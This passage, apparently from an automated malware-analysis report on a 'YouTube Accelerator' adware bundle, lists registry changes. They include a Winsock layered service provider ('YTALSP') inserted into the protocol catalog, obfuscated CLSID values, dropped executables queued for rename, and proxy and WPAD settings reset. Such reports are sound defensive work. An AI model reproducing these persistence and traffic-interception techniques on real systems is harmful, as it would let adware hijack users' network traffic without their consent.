"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJIqJXaK{WcKQ\"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 77 69 6E 64 69 72 25 5C 73 79 73 74 65 6D 33"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "19"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`ARLXEPtLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LKUkiRXt|QiW{fDh`NkAwsXbDWCkK"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001B]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001C]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000001A]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process YTAHEL~1.EXE:2700 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiE2FF.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\474.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\474.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ChromeSync.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\ClearnC.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\wpm_v20.0.0.2227.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp\XTab_Setup2253.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774\tmp, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\xtmp532774, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nst6596.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\š"

The process d67956cd-30ae-4a5b-a0d0-0fdb83f39a63-4.exe:4340 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process DCytaiesmt_smtyc_setup.exe:4044 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "39 2B 9B 91 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 61 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "D9 C8 FB 93 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:908 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "41 D4 A3 8E 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5E 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "39 2B 9B 91 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:2436 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "6B E0 57 83 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 59 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "87 E0 39 85 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:1904 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "39 2B 9B 91 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 60 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "39 2D C8 93 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process DCytaiesmt_smtyc_setup.exe:3252 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "C7 2B 34 83 27 83 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 58 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "3A 61 CC 84 27 83 D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

